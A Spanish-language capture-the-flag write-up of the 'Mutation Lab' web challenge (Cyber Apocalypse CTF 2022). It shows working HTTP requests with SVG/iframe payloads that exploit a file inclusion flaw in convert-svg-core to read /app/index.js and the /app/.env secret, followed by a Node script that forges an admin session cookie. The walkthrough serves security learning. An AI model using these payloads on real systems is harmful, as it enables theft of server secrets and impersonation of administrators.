My Profile Photo

[L]ord [R]NA


Father, son and husband, Red Teamer, Developer, Chess Player, Bitter Truths Distiller, Ex [SHNI/H-Sec] Staff Member, Amateur Astronomer, RedTeamRD Staff/Co-Founder


Disclaimer [ES]

Disclaimer [EN]


Mutation Lab (Cyber Apocalypse CTF 2022)

Mutation Lab es uno de los challenges web de nivel medio dentro del Cyber Apocalypse CTF 2022. Este inicia con un login page, donde podemos realizar un registro y un inicio de sesión para generar patrones de mutaciones celulares. Este challenge contaba con dos vulnerabilidades que uniendo ambas, pudimos conseguir acceso al SESSION_SECRET_KEY importado por el módulo de NodeJS, Express.

Solución

Iniciamos con el ingreso a la página web habilitada para explotar el challenge. Y en esta nos encontramos dos botones, uno de estos para iniciar sesión y otro para registrarnos. En este punto, procedimos a ingresar un usuario y una contraseña, para registrarse y posteriormente iniciar sesión.

Página de Inicio de Mutation Lab

Iniciada la sesión, podemos notar que accedemos a un dashboard, con varios puntos interesantes. El primero de ellos es que podemos jugar con la estructura celular dentro de la aplicación web, para después exportarla como imagen. El segundo punto interesante es el mensaje de que solo el administrador del laboratorio puede acceder a los registros confidenciales.

Dashboard de Mutation Lab, luego de iniciar sesión

Desde este punto, partimos a probar que funcionalidad tiene la página para generar las imágenes, notando que la misma envía un SVG hacia un API, el cual retorna una imagen en formato PNG.

Request enviado al API para generar la imagen:

POST /api/export HTTP/1.1
Host: 165.227.224.55:31711
Content-Length: 4809
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.227.224.55:31711
Referer: http://165.227.224.55:31711/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJ1c2VybmFtZSI6InRlc3RlciJ9; session.sig=BVzwSBBUG4WhKAYnA1NAZEPFw2I
Connection: close

{"svg":"<svg version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"500\" height=\"400\" viewBox=\"0,0,500,400\"><g fill=\"#e74c3c\" fill-rule=\"nonzero\" stroke=\"none\" stroke-width=\"1\" stroke-linecap=\"butt\" stroke-linejoin=\"miter\" stroke-miterlimit=\"10\" stroke-dasharray=\"\" stroke-dashoffset=\"0\" font-family=\"none\" font-weight=\"none\" font-size=\"none\" text-anchor=\"none\" style=\"mix-blend-mode: normal\"><path d=\"M60.59537,262.49959c-1.7228,-73.3495 -1.7228,-73.3495 -20.62984,-84.44905c-18.90704,-11.09955 -18.90704,-11.09955 -18.90704,83.18988c0,94.28943 0,94.28943 20.62984,84.44905c20.62984,-9.84038 20.62984,-9.84038 18.90704,-83.18988z\"/><path d=\"M109.78004,160.50698c48.23377,-20.60421 48.23377,-20.60421 53.6836,-78.53739c5.44984,-57.93319 5.44984,-57.93319 -67.14081,-57.93319c-72.59064,0 -72.59064,0 -72.59064,67.43784c0,67.43784 0,67.43784 18.90704,78.53739c18.90704,11.09955 18.90704,11.09955 67.14081,-9.50465z\"/><path d=\"M257.69803,280.43134c-2.23545,-67.16176 -2.23545,-67.16176 -11.05772,-72.04996c-8.82227,-4.8882 -8.82227,-4.8882 -72.07554,71.21829c-63.25327,76.10649 -63.25327,76.10649 11.05772,72.04996c74.31099,-4.05653 74.31099,-4.05653 72.07554,-71.21829z\"/><path d=\"M82.08557,350.74407c-18.66058,-9.91127 -18.66058,-9.91127 -39.29042,-0.07089c-20.62984,9.84038 -20.62984,9.84038 -20.62984,19.11311c0,9.27273 0,9.27273 42.00338,9.27273c42.00338,0 42.00338,0 39.29042,-9.20184c-2.71296,-9.20184 -2.71296,-9.20184 -21.37354,-19.11311z\"/><path d=\"M277.09209,90.96458c86.67436,-59.92293 86.30097,-67.69587 -6.65342,-67.69587c-92.95439,0 -92.95439,0 -98.40422,57.93319c-5.44984,57.93319 -5.44984,57.93319 6.46672,63.8094c11.91656,5.87621 11.91656,5.87621 98.59092,-54.04672z\"/><path d=\"M361.93255,375.04862c42.78874,0 42.78874,0 70.90986,-19.24067c28.12112,-19.24067 28.12112,-19.24067 23.09113,-85.9035c-5.02999,-66.66283 -5.02999,-66.66283 -25.22604,-77.91821c-20.19604,-11.25538 -20.19604,-11.25538 -78.17804,80.01618c-57.982,91.27156 -57.982,91.27156 -45.68382,97.15888c12.29818,5.88732 12.29818,5.88732 55.08691,5.88732z\"/><path d=\"M284.80952,366.27606c-5.38141,-1.57596 -5.38141,-1.57596 -9.17115,5.88732c-3.78974,7.46328 -3.78974,7.46328 17.67958,7.46328c21.46933,0 21.46933,0 9.17115,-5.88732c-12.29818,-5.88732 -12.29818,-5.88732 -17.67958,-7.46328z\"/><path d=\"M390.13125,100.6541c18.45053,68.44805 22.62768,71.46124 42.82372,82.71662c20.19604,11.25538 20.19604,11.25538 32.22917,6.55157c12.03313,-4.70381 12.03313,-4.70381 12.03313,-85.0965c0,-80.39269 0,-80.39269 -52.95497,-80.39269c-52.95497,0 -52.58158,7.77294 -34.13105,76.221z\"/><path d=\"M472.41237,339.9612c7.00313,4.00364 7.00313,4.00364 7.00313,-71.36664c0,-75.37027 0,-75.37027 -12.03313,-70.66647c-12.03313,4.70381 -12.03313,4.70381 -7.00313,71.36664c5.02999,66.66283 5.02999,66.66283 12.03313,70.66647z\"/><path d=\"M436.23009,359.79635c-28.12112,19.24067 -28.12112,19.24067 7.00313,19.24067c35.12426,0 35.12426,0 35.12426,-15.23704c0,-15.23704 0,-15.23704 -7.00313,-19.24067c-7.00313,-4.00364 -7.00313,-4.00364 -35.12426,15.23704z\"/><path d=\"M331.50349,187.78812c70.78514,-17.80485 70.78514,-17.80485 52.3346,-86.2529c-18.45053,-68.44805 -18.45053,-68.44805 -105.12489,-8.52512c-86.67436,59.92293 -86.67436,59.92293 -61.15687,81.3647c25.51748,21.44177 43.16202,31.21817 113.94716,13.41332z\"/><path d=\"M86.20022,345.30767c18.66058,9.91127 22.72291,9.03028 85.97617,-67.07621c63.25327,-76.10649 63.25327,-76.10649 37.73578,-97.54827c-25.51748,-21.44177 -25.51748,-21.44177 -37.43404,-27.31799c-11.91656,-5.87621 -11.91656,-5.87621 -60.15033,14.72799c-48.23377,20.60421 -48.23377,20.60421 -46.51096,93.9537c1.7228,73.3495 1.7228,73.3495 20.38338,83.26077z\"/><path d=\"M274.31558,353.32647c7.27485,6.23559 18.03766,9.38751 76.01966,-81.88406c57.982,-91.27156 53.80485,-94.28475 -16.98029,-76.4799c-70.78514,17.80485 -70.78514,17.80485 -68.54968,84.96661c2.23545,67.16176 2.23545,67.16176 9.5103,73.39735z\"/><path d=\"M331.50349,187.78812c70.78514,-17.80485 70.78514,-17.80485 52.3346,-86.2529c-18.45053,-68.44805 -18.45053,-68.44805 -105.12489,-8.52512c-86.67436,59.92293 -86.67436,59.92293 -61.15687,81.3647c25.51748,21.44177 43.16202,31.21817 113.94716,13.41332z\"/><path d=\"M331.50349,187.78812c70.78514,-17.80485 70.78514,-17.80485 52.3346,-86.2529c-18.45053,-68.44805 -18.45053,-68.44805 -105.12489,-8.52512c-86.67436,59.92293 -86.67436,59.92293 -61.15687,81.3647c25.51748,21.44177 43.16202,31.21817 113.94716,13.41332z\"/><path d=\"M189.63951,379.31172c77.1143,0 77.1143,0 80.90404,-7.46328c3.78974,-7.46328 3.78974,-7.46328 -3.48511,-13.69887c-7.27485,-6.23559 -7.27485,-6.23559 -81.58584,-2.17905c-74.31099,4.05653 -78.37332,4.93752 -75.66036,14.13936c2.71296,9.20184 2.71296,9.20184 79.82726,9.20184z\"/></g></svg>"}

Respuesta enviada por el servidor con la imagen ya en formato PNG:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 55
ETag: W/"37-EiA1IOIoSWIMCVMychxJMmkUDtM"
Date: Thu, 19 May 2022 19:04:47 GMT
Connection: close

{"png":"/exports/6a54d32202951d6c83d41cc0a42bf391.png"}

En este punto, procedimos a verificar qué sucede cuando la aplicación web recibe un SVG en un formato no válido.

Request enviado al API con un SVG no válido:

POST /api/export HTTP/1.1
Host: 165.227.224.55:31711
Content-Length: 16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.227.224.55:31711
Referer: http://165.227.224.55:31711/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJ1c2VybmFtZSI6InRlc3RlciJ9; session.sig=BVzwSBBUG4WhKAYnA1NAZEPFw2I
Connection: close

{"svg":"No SVG"}

Mensaje de error retornado por el servidor:

HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 1080
Date: Thu, 19 May 2022 19:06:32 GMT
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: SVG element open tag not found in input. Check the SVG input<br> &nbsp; &nbsp;at Converter.[convert] (/app/node_modules/convert-svg-core/src/Converter.js:202:13)<br> &nbsp; &nbsp;at Converter.convert (/app/node_modules/convert-svg-core/src/Converter.js:114:40)<br> &nbsp; &nbsp;at API.convert (/app/node_modules/convert-svg-core/src/API.js:80:32)<br> &nbsp; &nbsp;at /app/routes/index.js:61:21<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/app/node_modules/express/lib/router/route.js:144:13)<br> &nbsp; &nbsp;at Route.dispatch (/app/node_modules/express/lib/router/route.js:114:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /app/node_modules/express/lib/router/index.js:286:22<br> &nbsp; &nbsp;at Function.process_params (/app/node_modules/express/lib/router/index.js:348:12)</pre>
</body>
</html>

Hay un punto bien importante en el mensaje de error enviado por el servidor, y es el nombre del módulo de NodeJS que realiza la conversion de SVG a PNG, el cual es vulnerable a Local File Inclusion (convert-svg-core / CVE-2021-23631).

Partiendo de esta vulnerabilidad pudimos extraer el código fuente del script principal de la aplicación, para notar cómo crea y genera el firmado de la sesión.

Request enviado para exfiltrar el script inicial de la aplicación web:

POST /api/export HTTP/1.1
Host: 165.227.224.55:31711
Content-Length: 254
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.227.224.55:31711
Referer: http://165.227.224.55:31711/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJ1c2VybmFtZSI6InRlc3RlciJ9; session.sig=BVzwSBBUG4WhKAYnA1NAZEPFw2I
Connection: close

{"svg":"<svg-dummy></svg-dummy><iframe src='file:///app/index.js' width='100%' height='1000px'></iframe><svg viewBox='0 0 240 80' height='2000' width='1000' xmlns='http://www.w3.org/2000/svg'>  <text x='0'y='0' class='Rrrrr' id='demo'>data</text></svg>"}

Imagen generada con el contenido del script inicial:

Código fuente del Script principal de la aplicación web

Ya con el código fuente inicial de la aplicación, podemos ver donde se guarda la llave con la que se firma la sesión, por lo que procedemos a exfiltrar el archivo /app/.env a través de una imagen.

Request enviado para exfiltrar el archivo /app/.env a través de una imagen:

POST /api/export HTTP/1.1
Host: 165.227.224.55:31711
Content-Length: 250
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.227.224.55:31711
Referer: http://165.227.224.55:31711/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJ1c2VybmFtZSI6InRlc3RlciJ9; session.sig=BVzwSBBUG4WhKAYnA1NAZEPFw2I
Connection: close

{"svg":"<svg-dummy></svg-dummy><iframe src='file:///app/.env' width='100%' height='1000px'></iframe><svg viewBox='0 0 240 80' height='2000' width='1000' xmlns='http://www.w3.org/2000/svg'>  <text x='0'y='0' class='Rrrrr' id='demo'>data</text></svg>"}

SECRET_SESSION_KEY exfiltrada desde la aplicacion a traves de una imagen:

valor de SECRET_SESSION_KEY en /app/.env

Ya con el valor de la llave para firmar la sesión, podemos crear un script, para que nos firme una sesión para el usuario admin.

Script para firmar una sesión para el usuario admin:

const express = require('express')
const session = require('cookie-session')
const app = express();

app.use(session({
    name:"session",
    keys:["5921719c3037662e94250307ec5ed1db"]
}))

app.get('/',(req,res) => {
    req.session.username='admin';
    res.send('ok')
});

app.listen(80,'0.0.0.0')

Sesión firmada para el usuario admin, a través de CURL:

$ curl -s -I http://127.0.0.1/ | grep Cookie
Set-Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0=; path=/; httponly
Set-Cookie: session.sig=EYdvy2mhVoEznETyhYjNYFFZM8o; path=/; httponly

En este punto, podemos ir a nuestro navegador web y reemplazar el cookie actual, por el cookie del usuario admin y su respectivo signature.

Flag obtenida en el Dashboard de Mutation Lab

Completando así el reto.